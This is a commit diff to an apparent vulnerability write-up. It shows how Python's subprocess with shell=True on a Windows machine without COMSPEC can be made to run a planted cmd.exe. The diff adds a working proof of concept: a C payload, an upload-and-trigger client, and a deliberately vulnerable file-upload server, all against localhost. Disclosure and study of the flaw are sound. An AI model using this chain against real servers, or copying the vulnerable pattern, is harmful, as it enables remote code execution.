@@ -7,11 +7,13 @@ the executable launched is `cmd.exe` and the full path is not defined.
7
7
It's possible to launch a malicious ` cmd.exe ` file from working directory
8
8
or any any path before the ` C:\Windows\system32 ` directory in the ` PATH ` .
9
9
10
+ I write a simple POC, a vulnerable HTTP server to upload files.
11
+
10
12
## Requirements
11
13
12
- - Windows machine without ` COMSPEC `
13
- - Use ` subprocess.Popen ` or any ` subprocess ` function that use ` subprocess.Popen ` with ` shell=True `
14
- - Possible upload in working directory or any path before the ` C:\Windows\system32 ` directory in the ` PATH `
14
+ - Windows machine without ` COMSPEC ` environment variable
15
+ - Use ` subprocess.Popen ` or any ` subprocess ` functions that use ` subprocess.Popen ` with ` shell=True `
16
+ - The attacker may upload file in the working directory or any directory before the ` C:\Windows\system32 ` directory in the ` PATH `
15
17
16
18
## Patch
17
19
@@ -27,13 +29,21 @@ int main() {printf("H4CK3D - EXPLOIT IS WORKING\n");return 0;}
27
29
# gcc -o not_cmd.exe RCE_program.c
28
30
```
29
31
32
+ Compile with `gcc -o not_cmd.exe RCE_program.c` command.
33
+
30
34
### Python HTTP client
31
35
32
36
```python
33
37
from urllib.request import Request, urlopen
38
+ from time import strftime, localtime, sleep
34
39
40
+ print("[*]", strftime("%Y-%m-%d %H:%M:%S", localtime()), "Simple GET request to see the default behaviour...")
35
41
get_response = urlopen("http://127.0.0.1:8000/")
36
- post_response = urlopen(Request("http://127.0.0.1:8000/cmd.exe", data=open('not_cmd.exe', 'rb').read())) # upload a malicious cmd.exe file
42
+ sleep(2)
43
+ print("[+]", strftime("%Y-%m-%d %H:%M:%S", localtime()), "Start exploit with upload a malicious cmd.exe file...")
44
+ post_response = urlopen(Request("http://127.0.0.1:8000/cmd.exe", data=open('not_cmd.exe', 'rb').read())) # write a cmd.exe file
45
+ sleep(2)
46
+ print("[+]", strftime("%Y-%m-%d %H:%M:%S", localtime()), "RCE with malicious cmd.exe file...")
37
47
exploit_response = urlopen("http://127.0.0.1:8000/") # RCE -> cmd.exe file is executed instead of C:\WINDOWS\system32\cmd.exe
38
48
```
39
49
@@ -50,18 +60,22 @@ del environ['COMSPEC'] # force environment without COMSPEC
50
60
51
61
def app (environ , start_response ):
52
62
method = environ[" REQUEST_METHOD" ]
63
+ print (' [*] New request, method:' , method)
53
64
if method == " GET" :
54
65
process = Popen(" myprogram" , shell = True , stderr = DEVNULL )
55
66
process.communicate()
67
+ print (' [+] Process exit code:' , process.returncode)
56
68
status = " 200 OK"
57
69
content = b " GET OK"
58
70
elif method == " POST" :
59
71
status = " 200 OK"
60
72
content = b " File uploaded successfully."
61
73
content_length = environ.get(" CONTENT_LENGTH" , " 0" )
62
74
if content_length.isdigit():
63
- with open (basename(environ[" PATH_INFO" ]), ' wb' ) as file :
75
+ filename = basename(environ[" PATH_INFO" ])
76
+ with open (filename, ' wb' ) as file :
64
77
file .write(environ[" wsgi.input" ].read(int (content_length)))
78
+ print (' [+] New file written:' , filename)
65
79
else :
66
80
status = " 400 Bad Request"
67
81
content = b ' Invalid Content-Length header.'
@@ -72,5 +86,6 @@ def app(environ, start_response):
72
86
return (content,)
73
87
74
88
with make_server(' 127.0.0.1' , 8000 , app) as httpd:
89
+ print (' [*] Serving HTTP on 127.0.0.1 port 8000 (http://127.0.0.1:8000/) ...' )
75
90
httpd.serve_forever()
76
91
```
0 commit comments